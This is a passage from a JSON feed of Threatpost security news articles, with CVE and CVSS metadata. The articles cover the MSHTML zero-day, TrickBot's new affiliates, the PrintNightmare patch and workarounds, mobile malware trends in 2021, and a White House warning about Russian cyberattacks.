campaigns Microsoft researchers observed included emails impersonating contracts and legal agreements to try to trick victims to opening the documents to distribute the payload.\n\nThough it\u2019s not completely certain if Wizard Spider is behind some of these early attacks, it\u2019s clear that ransomware operators are interested in exploiting the MSHTML flaw, according to RiskIQ.\n\nHowever, at this point, \u201cwe assume there has been limited deployment of this zero-day,\u201d researchers wrote. That means that even if known ransomware criminals are involved in the attacks, delivering ransomware may not be the ultimate goal of the campaigns, they observed.\n\n\u201cInstead, we assess with medium confidence that the goal of the operators behind the zero-day may, in fact be traditional espionage,\u201d RISKIQ\u2019s Team Atlas wrote. \u201cThis goal could easily be obscured by a ransomware deployment and blend into the current wave of targeted ransomware attacks.\u201d\n\nNo matter, organizations should take advantage of the patch Microsoft released this week for the vulnerability and update their systems now before more attacks occur, the company reiterated. \u201cCustomers are advised to apply the [security patch](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444>) for CVE-2021-40444 to fully mitigate this vulnerability,\u201d the MSTIC team wrote.\n\n**Rule #1 of Linux Security: **No cybersecurity solution is viable if you don\u2019t have the basics down. [**JOIN**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>) Threatpost and Linux security pros at Uptycs for a LIVE roundtable on the [**4 Golden Rules of Linux Security**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>). Your top takeaway will be a Linux roadmap to getting the basics right! [**REGISTER NOW**](<https://threatpost.com/webinars/4-golden-rules-linux-security/?utm_source=ART&utm_medium=ART&utm_campaign=September_Uptycs_Webinar>) and join the **LIVE event on Sept. 29 at Noon EST**. Joining Threatpost is Uptycs\u2019 Ben Montour and Rishi Kant who will spell out Linux security best practices and take your most pressing questions in real time.\n", "cvss3": {}, "published": "2021-09-17T12:07:59", "type": "threatpost", "title": "Microsoft MSHTML Flaw Exploited by Ryuk Ransomware Gang", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-17T12:07:59", "id": "THREATPOST:3C3F20C93519036CC712D1CA3A6D7C48", "href": "https://threatpost.com/microsoft-mshtml-ryuk-ransomware/174780/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-09-08T12:29:02", "description": "Both Microsoft and federal cybersecurity officials are urging organizations to use mitigations to combat a zero-day remote control execution (RCE) vulnerability in Windows that allows attackers to craft malicious Microsoft Office documents.\n\nMicrosoft has not revealed much about the MSHTML bug, tracked as [CVE-2021-40444](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40444>), beyond that it is \u201caware of targeted attacks that attempt to exploit this vulnerability by using specially-crafted Microsoft Office documents,\u201d according to an advisory released Tuesday.\n\nHowever, it\u2019s serious enough that the Cybersecurity and Infrastructure Security Agency (CISA) released [an advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/09/07/microsoft-releases-mitigations-and-workarounds-cve-2021-40444>) of its own alerting users and administrators to the vulnerability and recommending that they use the mitigations and workarounds Microsoft recommends.\n\nThe vulnerability allows an attacker to craft a malicious ActiveX control that can be used by a Microsoft Office document that hosts the browser rendering engine, according to Microsoft. \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)The attacker would then have to convince the user to open the malicious document for an attack to be successful, the company said. Moreover, users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights, according to the advisory.\n\n## **Affecting More than Office**\n\nThough Microsoft is still investigating the vulnerability, it could prove to go beyond affecting just Microsoft Office documents due to the ubiquitous use of MSHTML on Windows, warned Jake Williams, co-founder and CTO at incident response firm [BreachQuest](<https://breachquest.com/>).\n\n\u201cIf you\u2019ve ever opened an application that seemingly \u2018magically\u2019 knows your proxy settings, that\u2019s likely because it uses MSHTML under the hood,\u201d he said in an e-mail to Threatpost. \u201cVulnerabilities like these tend to have extremely long lifetimes for exploitation in the wild.\u201d\n\nEven if the vulnerability\u2019s reach does not go beyond Office documents, its presence and the fact that attackers are already trying to exploit are worrisome enough for organizations to take immediate action, noted another security professional.\n\nMalicious Office documents are a popular tactic with cybercriminals and state-sponsored threat actors, and the vulnerability give them \u201cmore direct exploitation of a system and the usual tricking users to disable security controls,\u201d observed John Bambenek, principal threat hunter at digital IT and security operations firm [Netenrich](<https://netenrich.com/>).\n\n\u201cAs this is already being exploited, immediate patching should be done,\u201d he advised. \u201cHowever, this is a stark reminder that in 2021, we still can\u2019t send documents from point A to point B securely.\u201d\n\n## **Mitigations and Workarounds**\n\nMicrosoft has offered some advice for organizations affected by the vulnerability\u2014first discovered by Rick Cole of the Microsoft Security Response Center, Haifei Li of EXPMON, and Dhanesh Kizhakkinan, Bryce Abdo and Genwei Jiang of Mandiant\u2013until it can offer its own security update. That may come in the form of a Patch Tuesday fix or an out-of-band patch, depending on what researchers discover, the company said.\n\nUntil then, customers should keep anti-malware products up to date, though those who use automatic updates don\u2019t need to take action now, Microsoft said. For enterprise customers who manage updates, they should select the detection build 1.349.22.0 or newer and deploy it across their environments, the company added.\n\nWorkarounds for the flaw include disabling the installation of all ActiveX controls in Internet Explorer, which mitigates a potential attack, according to Microsoft.\n\n\u201cThis can be accomplished for all sites by updating the registry,\u201d the company said in its advisory. \u201cPreviously-installed ActiveX controls will continue to run, but do not expose this vulnerability.\u201d\n\nHowever, Microsoft warned organizations to take care when using the Registry Editor, because doing so incorrectly can \u201ccause serious problems that may require you to reinstall your operating system.\u201d \u201cUse Registry Editor at your own risk,\u201d the company advised.\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on Sept. 22 at 2 p.m. EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with independent researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {}, "published": "2021-09-08T12:24:51", "type": "threatpost", "title": "Microsoft, CISA Urge Mitigations for Zero-Day RCE Flaw in Windows", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-40444"], "modified": "2021-09-08T12:24:51", "id": "THREATPOST:62DC935BF4DB4EF8A4F1E83519B1D5CD", "href": "https://threatpost.com/microsoft-zero-day-rce-flaw-in-windows/169273/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-10-15T18:06:14", "description": "The cybercriminals behind the infamous TrickBot trojan have signed two additional distribution affiliates, dubbed Hive0106 (aka TA551) and Hive0107 by IBM X-Force. The result? Escalating ransomware hits on corporations, especially using the Conti ransomware.\n\nThe development also speaks to the TrickBot gang\u2019s increasing sophistication and standing in the cybercrime underground, IBM researchers said: \u201cThis latest development demonstrates the strength of its connections within the cybercriminal ecosystem and its ability to leverage these relationships to expand the number of organizations infected with its malware.\u201d\n\nThe TrickBot malware started life as a banking trojan back in 2016, but it quickly evolved to become a modular, full-service threat. It\u2019s capable of a range of backdoor and data-theft functions, can deliver additional payloads, and has the ability to quickly [move laterally](<https://threatpost.com/trickbot-port-scanning-module/163615/>) throughout an enterprise.\n\nAccording to IBM, the TrickBot gang (aka ITG23 or Wizard Spider) has now added powerful additional distribution tactics to its bag of tricks, thanks to the two new affiliates.\n\n\u201cEarlier this year, [the TrickBot gang] primarily relied on email campaigns delivering Excel documents and a call-center ruse known as BazarCall to deliver its payloads to corporate users,\u201d IBM researchers said in a [Wednesday analysis](<https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/>). \u201cHowever\u2026the new affiliates have added the use of hijacked email threads and fraudulent website customer-inquiry forms. This move not only increased the volume of its delivery attempts but also diversified delivery methods with the goal of infecting more potential victims than ever.\u201d\n\nBazarCall is a [distribution tactic](<https://unit42.paloaltonetworks.com/bazarloader-malware/>) that starts with emails offering \u201ctrial subscriptions\u201d to various services \u2013 with a phone number listed to call customer service to avoid being charged money. If someone calls, a call-center operator answers and directs victims to a website to purportedly unsubscribe from the service: a process the \u201cagent\u201d walks the caller through. In the end, vulnerable computers become infected with malware \u2013 usually the [BazarLoader implant](<https://threatpost.com/bazarloader-malware-slack-basecamp/165455/>), which is another malware in the TrickBot gang\u2019s arsenal, and sometimes TrickBot itself. These types of attacks have continued into the autumn, enhanced by the fresh distribution approaches, according to IBM.\n\nMeanwhile, since 2020, the TrickBot gang has been heavily involved in the ransomware economy, with the TrickBot malware acting as an initial access point in campaigns. Users infected with the trojan will see their device become part of a botnet that attackers typically use to load the second-stage ransomware variant. The operators have developed their own ransomware as well, according to IBM: the Conti code, which is notorious for hitting hospitals, [destroying backup files](<https://threatpost.com/conti-ransomware-backups/175114/>) and pursuing [double-extortion tactics](<https://threatpost.com/double-extortion-ransomware-attacks-spike/154818/>).\n\nIBM noted that since the two affiliates came on board in June, there\u2019s been a corresponding increase in Conti ransomware attacks \u2013 not likely a coincidence.\n\n\u201cRansomware and extortion go hand in hand nowadays,\u201d according to the firm\u2019s analysis. \u201c[The TrickBot gang] has also adapted to the ransomware economy through the creation of the Conti ransomware-as-a-service (RaaS) and the use of its BazarLoader and Trickbot payloads to gain a foothold for ransomware attacks.\u201d\n\n## **Affiliate Hive0106: Spam Powerhouse **\n\nIBM X-Force researchers noted that the most important development since June for the distribution of the TrickBot gang\u2019s various kinds of malware is the newly minted partnership with Hive0106 (aka TA551, Shathak and UNC2420).\n\nHive0106 specializes in massive volumes of spamming and is a financially motivated threat group that\u2019s lately been looking to partner with elite cybercrime gangs, the firm said.\n\nHive0106 campaigns begin with hijacking email threads: a tactic pioneered by its frenemy [Emotet](<https://threatpost.com/emotet-takedown-infrastructure-netwalker-offline/163389/>). The tactic involves [jumping into ongoing correspondence](<https://unit42.paloaltonetworks.com/emotet-thread-hijacking/>) to respond to an incoming message under the guise of being the rightful account holder. These existing email threads are stolen from email clients during prior infections. Hive0106 is able to mount these campaigns at scale, researchers said, using newly created malicious domains to host malware payloads.\n\n\u201cThe emails include the email thread subject line but not the entire thread,\u201d according to IBM X-Force\u2019s writeup. \u201cWithin the email is an archive file containing a malicious attachment and password.\u201d\n\nIn the new campaigns, that malicious document drops an HTML application (HTA) file when macros are enabled.\n\n\u201cHTA files contain hypertext code and may also contain VBScript or JScript scripts, both of which are often used in boobytrapped macros,\u201d according to the analysis. \u201cThe HTA file then downloads Trickbot or BazarLoader, which has subsequently been observed downloading Cobalt Strike.\u201d\n\nCobalt Strike is the legitimate pen-testing tool that\u2019s [often abused by cybercriminals](<https://threatpost.com/cobalt-strike-cybercrooks/167368/>) to help with lateral movement. It\u2019s often a precursor to a ransomware infection.\n\n## **Hive0107 Comes on Board**\n\nAnother prominent affiliate that hooked its wagon up to the TrickBot gang this summer is Hive0107, which spent the first half of the year distributing the IcedID trojan (a [TrickBot rival](<https://threatpost.com/icedid-banking-trojan-surges-emotet/165314/>)). It switched horses to TrickBot in May, using its patented contact form distribution method.\n\nAnalysts \u201cobserved Hive0107 with occasional distribution campaigns of the Trickbot malware detected mid-May through mid-July 2021\u2026after that period, Hive0107 switched entirely to delivering BazarLoader,\u201d according to the researchers, who added that most of the campaigns target organizations in the U.S. and, to a lesser extent, Canada and Europe.\n\nHive0107 is well-known for using customer contact forms on company websites to send malicious links to unwitting employees. Usually, the messages it sends threaten legal action, according to the analysis.\n\nPreviously, the cybercriminals used copyright infringement as a ruse: \u201cThe group typically enters information into these contact forms \u2014 probably using automated methods \u2014 informing the targeted organization that it has illegally used copyrighted images and includes a link to their evidence,\u201d IBM X-Force researchers explained.\n\nIn the new campaigns, Hive0107 is using a different lure, the researchers said, claiming that the targeted company has been performing distributed denial-of-service (DDoS) attacks on its servers. Then, the messages provide a (malicious) link to purported evidence and how to remedy the situation.\n\nThe group also sends the same content via email to organization staff \u2013 an additional switch-up in tactics.\n\nIn any event, the links are hosted on legitimate cloud storage services where the payload lives, according to the analysis.\n\n\u201cClicking on the link downloads a .ZIP archive containing a malicious JScript (JS) downloader titled \u2018Stolen Images Evidence.js\u2019 or \u2018DDoS attack proof and instructions on how to fix it.js,'\u201d researchers explained. \u201cThe JS file contacts a URL on newly created domains to download BazarLoader.\u201d\n\nBazarLoader then goes on to download Cobalt Strike and a PowerShell script to exploit the [PrintNightmare vulnerability](<https://threatpost.com/microsoft-unpatched-printnightmare-zero-day/168613/>) (CVE-2021-34527), they added \u2013 and sometimes TrickBot.\n\n\u201cIBM suspects that access achieved through these Hive0107 campaigns is ultimately used to initiate a ransomware attack,\u201d the researchers noted.\n\nThe new affiliate campaigns are evidence of the TrickBot gang\u2019s continuing success breaking into the circle of the cybercriminal elite, the firm concluded \u2013 a trend IBM X-Force expects to continue into next year.\n\n\u201c[The gang] started out aggressively back in 2016 and has become a cybercrime staple in the Eastern European threat-actor arena,\u201d researchers said. \u201cIn 2021, the group has repositioned itself among the top of the cybercriminal industry.\u201d\n\nThey added, \u201cThe group already has demonstrated its ability to maintain and update its malware and infrastructure, despite the efforts of law enforcement and industry groups [to take it down](<https://threatpost.com/authorities-arrest-trickbot-member/169236/>).\u201d\n\n## **How to Protect Companies When TrickBot Hits**\n\nTo reduce the chances of suffering catastrophic damage from an infection (or a follow-on ransomware attack), IBM recommends taking the following steps:\n\n * **Ensure you have backup redundancy**, stored separately from network zones attackers could access with read-only access. The availability of effective backups is a significant differentiator for organizations and can support recovery from a ransomware attack.\n * **Implement a strategy to prevent unauthorized data theft**, especially as it applies to uploading large amounts of data to legitimate cloud storage platforms that attackers can abuse.\n * **Employ user-behavior analytics** to identify potential security incidents. When triggered, assume a breach has taken place. Audit, monitor and quickly act on suspected abuse related to privileged accounts and groups.\n * **Employ multi-factor authentication** on all remote access points into an enterprise network.\n * **Secure or disable remote desktop protocol (RDP).** Multiple ransomware attacks have been known to exploit weak RDP access to gain initial entry into a network.\n\n_**Check out our free **_[_**upcoming live and on-demand online town halls **_](<https://threatpost.com/category/webinars/>)_**\u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-10-15T18:05:29", "type": "threatpost", "title": "TrickBot Gang Enters Cybercrime Elite with Fresh Affiliates", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-34527"], "modified": "2021-10-15T18:05:29", "id": "THREATPOST:827A7E3B49365A0E49A11A05A5A29192", "href": "https://threatpost.com/trickbot-cybercrime-elite-affiliates/175510/", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2021-07-08T07:53:10", "description": "Microsoft has released an emergency patch for the PrintNightmare, a set of two critical remote code-execution (RCE) vulnerabilities in the Windows Print Spooler service that hackers can use to take over an infected system. However, more fixes are necessary before all Windows systems affected by the bug are completely protected, according to the federal government.\n\nMicrosoft on Tuesday released an [out-of-band update](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for several versions of Windows to address [CVE-2021-34527](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527>), the second of two bugs that were initially thought to be one flaw and which have been dubbed PrintNightmare by security researchers.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nHowever, the latest fix only appears to address the RCE variants of PrintNightmare, and not the local privilege escalation (LPE) variant, according to an [advisory](<https://us-cert.cisa.gov/ncas/current-activity/2021/07/06/microsoft-releases-out-band-security-updates-printnightmare>) by the Cybersecurity Infrastructure and Security Administration (CISA), citing a [VulNote](<https://www.kb.cert.org/vuls/id/383432>) published by the CERT Coordination Center (CERT/CC).\n\nMoreover, the updates do not include Windows 10 version 1607, Windows Server 2012 or Windows Server 2016, which will be patched at a later date, according to CERT/CC.\n\n## **A Tale of Two Vulnerabilities**\n\nThe PrintNightmare saga [began last Tuesday](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) when a proof-of-concept (PoC) exploit for the vulnerability \u2014 at that time tracked as CVE-2021-1675 \u2014 was dropped on GitHub showing how an attacker can exploit the vulnerability to take control of an affected system. While it was taken back down within a few hours, the code was copied and remains in circulation on the platform.\n\nThe response to the situation soon turned into confusion. Though Microsoft released an [patch for CVE-2021-1675](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1675>) in it its usual raft of [monthly Patch Tuesday updates](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>), addressing what it thought was a minor EoP vulnerability, the listing was updated later in the week after researchers from Tencent and NSFOCUS TIANJI Lab figured out it could be used for RCE.\n\nHowever, it soon became clear to many experts that Microsoft\u2019s initial patch didn\u2019t fix the entire problem. CERT/CC on Thursday offered its own workaround for PrintNightmare, advising system administrators to disable the Windows Print Spooler service in Domain Controllers and systems that do not print.\n\nTo further complicate matters, Microsoft also last Thursday dropped [a notice](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) for a bug called \u201cWindows Print Spooler Remote Code Execution Vulnerability\u201d that appeared to be the same vulnerability, but with a different CVE number\u2014in this case, CVE-2021-34527.\n\n\u201cThis vulnerability is similar but distinct from the vulnerability that is assigned CVE-2021-1675, which addresses a different vulnerability in RpcAddPrinterDriverEx(),\u201d the company wrote in the advisory at the time. \u201cThe attack vector is different as well. CVE-2021-1675 was addressed by the June 2021 security update.\u201d\n\n## **Microsoft Issues Incomplete Patch**\n\nThe fix released this week addresses CVE-2021-34527, and includes protections for CVE-2021-1675, according to the CISA, which is encouraging users and administrators to review the [Microsoft Security Updates](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34527>) as well as [CERT/CC Vulnerability Note VU #383432](<https://www.kb.cert.org/vuls/id/383432>) and apply the necessary updates or workarounds.\n\nBut as noted, it won\u2019t fix all systems.\n\nSo, in cases where a system is not protected by the patch, Microsoft is offering several workarounds for PrintNightmare. One is very similar to the federal government\u2019s solution from last week: To stop and disable the Print Spooler service \u2014 and thus the ability to print both locally and remotely \u2014 by using the following PowerShell commands: Stop-Service -Name Spooler -Force and Set-Service -Name Spooler -StartupType Disabled.\n\nThe second workaround is to disable inbound remote printing through Group Policy by disabling the \u201cAllow Print Spooler to accept client connections\u201d policy to block remote attacks, and then restarting the system. In this case, the system will no longer function as a print server, but local printing to a directly attached device will still be possible.\n\nAnother potential option to prevent remote exploitation of the bug that has worked in \u201climited testing\u201d is to block both the RPC Endpoint Mapper (135/tcp) and SMB (139/tcp and 445/tcp) at the firewall level, according to CERT/CC. However, \u201cblocking these ports on a Windows system may prevent expected capabilities from functioning properly, especially on a system that functions as a server,\u201d the center advised.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-07T10:55:02", "type": "threatpost", "title": "Microsoft Releases Emergency Patch for PrintNightmare Bugs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1675", "CVE-2021-34527"], "modified": "2021-07-07T10:55:02", "id": "THREATPOST:6F7C157D4D3EB409080D90F02185E728", "href": "https://threatpost.com/microsoft-emergency-patch-printnightmare/167578/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-22T21:23:04", "description": "The number of cyberattacks launched against mobile users was down last year, researchers have found \u2014 but don\u2019t pop the champagne just yet. The decline was offset by jacked-up, more sophisticated, more nimble mobile nastiness.\n\nIn a Monday [report](<https://securelist.com/mobile-malware-evolution-2021/105876/>), Kaspersky said that its researchers have observed a downward trend in the number of attacks on mobile users, as shown in the chart below. However, \u201cattacks are becoming more sophisticated in terms of both malware functionality and vectors,\u201d according to Kaspersky experts Tatyana Shiskova and Anton Kivva.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2022/02/22151706/downware-mobile-malware-trend-e1645561041683.png>)\n\nNumber of attacks on mobile users, 2019\u20132021. Source: Kaspersky.\n\n[](<https://bit.ly/34NwVmo>)\n\nClick to Register for FREE\n\n\u201cIn the reporting period, after a surge in H2 2020, cybercriminal activity gradually abated: There were no global newsbreaks or major campaigns, and the COVID-19 topic began to fade,\u201d according to Monday\u2019s report. \u201cAt the same time, new players continue to emerge on the cyberthreat market as malware becomes more sophisticated; thus, the fall in the overall number of attacks is \u2018compensated\u2019 by the greater impact of a successful attack. Most dangerous of all in this regard are [banking malware](<https://threatpost.com/xenomorph-malware-google-play-facehugger/178563/>) and [spyware](<https://threatpost.com/new-android-spyware-poses-pegasus-like-threat/176155/>).\u201d\n\nThe company\u2019s mobile products and technologies detected 97,661 new mobile banking trojans, along with 3,464,756 malicious installation packages and 17,372 new mobile ransomware trojans.\n\nThe number of malicious installation packages observed in 2021 actually dropped substantially, down 2,218,938 from 2020 and slightly down from the 3,503,952 packages discovered in 2019.\n\n## New Tricks for Mobile Banking Malware\n\nLast year, banking trojans learned a number of new tricks. For example, the Fakecalls banker, which targets Korean mobile users, is now \u201c[dropping] outgoing calls to the victim\u2019s bank and plays pre-recorded operator responses stored in the trojan\u2019s body,\u201d according to the report.\n\nOther old dogs learning new tricks include the Sova banker, which steals[ cookies](<https://encyclopedia.kaspersky.com/glossary/cookie/?utm_source=securelist&utm_medium=blog&utm_campaign=termin-explanation>), \u201cenabling attackers to access the user\u2019s current session and personal mobile banking account without knowing the login credentials.\u201d\n\nIn 2021, cybercriminals also went after mobile gaming credentials \u2013 which are often sold later on the darknet or used to steal in-game goods from users. Last year, for example, marked the first time that researchers spotted what they called a[ \u201cGamethief-type mobile trojan](<https://securelist.com/it-threat-evolution-q1-2021-mobile-statistics/102547/#quarterly-highlights>),\u201d aimed at stealing account credentials for the mobile version of PlayerUnknown\u2019s Battlegrounds (PUBG).\n\nAs well, the Vultur backdoor \u2013 found packed into a malicious, fully functional two-factor authentication (2FA) app discovered last month on Google Play \u2013 picked up the capability of using Virtual Network Computing (VNC) to snoop on targets by recording smartphone screens: \u201cWhen the user opens an app that is of interest to attackers, they can monitor the on-screen events,\u201d researchers said.\n\nOther trends spotted in 2021: fewer pandemic/COVID-19 topics used as bait, and more pop-culture lures, such as Squid Game. Kaspersky pointed to the [Joker trojan](<https://threatpost.com/updated-joker-malware-android-apps/167776/>) on Google Play, which was found masquerading \u201cas an app with a background wallpaper in the style of Squid Game.\u201d\n\n## Google Play Still Infested\n\nSpeaking of the malware-ridden Play Store, regardless of Google\u2019s attempts to scrub its app store clean, it\u2019s still a bit of a roach motel. ThreatFabric researchers recently sniffed out 300,000 banking trojan [infections](<https://threatpost.com/banking-trojan-infections-google-play/176630/>) in Google Play during a four-month period.\n\nKaspersky also called out what it said were \u201crepeat incidents of malicious code injection into popular apps through advertising SDKs,\u201d as in the \u201csensational\u201d case of [CamScanner](<https://threatpost.com/malicious-app-tallies-100-million-downloads/147748/>): a malicious app spotted in the Google Play store in August 2019 that tallied 100 million downloads.\n\nResearchers noted that they also found [malicious code](<https://threatpost.com/sophisticated-android-spyware-google-play/155202/>) inside ad libraries in [the official client](<https://securelist.com/apkpure-android-app-store-infected/101845/>) for the third-party marketplace known as APKpure, as well as in a [modified WhatsApp build](<https://threatpost.com/custom-whatsapp-build-malware/168892/>).\n\nOne example was particularly alarming, from a security hygiene perspective: the malicious, fully functional 2FA app that hung out in Google Play for [more than two weeks](<https://threatpost.com/2fa-app-banking-trojan-google-play/178077/>), managing to cling to 10,000 downloads. It came loaded with the Vultur stealer malware that targets and swoops down on financial data.\n\nAmong all of last year\u2019s many banking-trojans moves, researchers found the resurgence of Joker especially notable. The [malware](<https://threatpost.com/malicious-joker-app-downloads-google-play/177139/>), which zaps victims with premium SMS charges, popped up yet again on Google Play, in a mobile app called Color Message, after which it snuck into more than a half-million downloads before the store collared it.\n\nKaspersky researchers also called out the [Facestealer](<https://blog.malwarebytes.com/detections/android-trojan-spy-facestealer/>) trojan: a family of Android trojans that uses social engineering to rip off victims\u2019 Facebook credentials.\n\nThese trojans most commonly sneak into Google Play by masquerading as a legitimate app, such as a photo editor or VPN service, to which they add a small code snippet to decrypt and launch their payload, the researchers explained. To confound analysis, such malware often uses a command-and-control (C2) server to send unpacking commands that get carried out in multiple steps: \u201cEach decrypted module contains the address of the next one, plus instructions for decrypting it,\u201d they said.\n\n## Most of It\u2019s Still Adware\n\nAt 42 percent, adware was yet again the biggest slice of the mobile malware pie, even though it fell 14.83 percentage points over the prior year. In 2020, adware was also the No. 1 mobile menace, at 57 percent.\n\nNext in prevalence were potentially unwanted riskware apps at 35 percent: a share increase of 14 percentage points, after a sharp decline in 2019\u20132020. As [defined](<https://usa.kaspersky.com/resource-center/threats/riskware>) by Kaspersky, riskware are legitimate programs \u201cthat pose potential risks due to security vulnerability, software incompatibility or legal violations.\u201d\n\nIn third place were trojan threats at 9 percent: a share that rose by 4 percentage points year-over-year.\n\n**_Join Threatpost on Wed. Feb 23 at 2 PM ET for a [LIVE roundtable discussion](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) \u201cThe Secret to Keeping Secrets,\u201d sponsored by Keeper Security, focused on how to locate and lock down your organization\u2019s most sensitive data. Zane Bond with Keeper Security will join Threatpost\u2019s Becky Bracken to offer concrete steps to protect your organization\u2019s critical information in the cloud, in transit and in storage. [REGISTER NOW](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) and please Tweet us your questions ahead of time @Threatpost so they can be included in the discussion._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-22T21:00:36", "type": "threatpost", "title": "Gaming, Banking Trojans Dominate Mobile Malware Scene", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-22T21:00:36", "id": "THREATPOST:CEEE25A4A4491980FA1ECB491795DBA9", "href": "https://threatpost.com/gaming-banking-trojans-mobile-malware/178571/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-22T16:34:37", "description": "The Russian government is exploring \u201coptions for potential cyberattacks\u201d on critical infrastructure in the U.S., the White House warned on Monday, in retaliation for sanctions and other punishments as the war in Ukraine grinds on.\n\nOfficials said that its latest intelligence shows cyber-related \u201cpreparatory activity\u201d on the part of President Vladimir Putin\u2019s government, though White House deputy national security adviser for cyber and emerging technology Anne Neuberger emphasized that no concrete threat has been identified.\n\n\u201cTo be clear, there is no certainty there will be a cyber-incident on critical infrastructure,\u201d she told reporters [during a briefing](<https://thehill.com/homenews/administration/599072-white-house-warns-russia-prepping-possible-cyberattacks-on-us?rl=1>). She added, \u201cThere is no evidence of any specific cyberattack that we are anticipating. There is some preparatory activity that we\u2019re seeing and that is what we shared in a classified context with companies who we thought might be affected.\u201d\n\nThat observed prep work includes vulnerability scanning and website probing, she added, declining to add any specifics. She noted that officials were holding more detailed classified briefings with organizations they believe could be targeted.\n\n\u201cThe current conflict has put cybersecurity initiatives in hyperdrive, and today, industry leaders aren\u2019t just concerned about adversaries breaching critical infrastructure but losing access and control to them,\u201d Saket Modi, co-founder and CEO at Safe Security, said via email.\n\nIn tandem with the briefing, the White House released a cyber-preparedness fact sheet, and President Joe Biden [issued the following statement](<https://www.whitehouse.gov/briefing-room/statements-releases/2022/03/21/statement-by-president-biden-on-our-nations-cybersecurity/>):\n\n_\u201cI have previously warned about the potential that 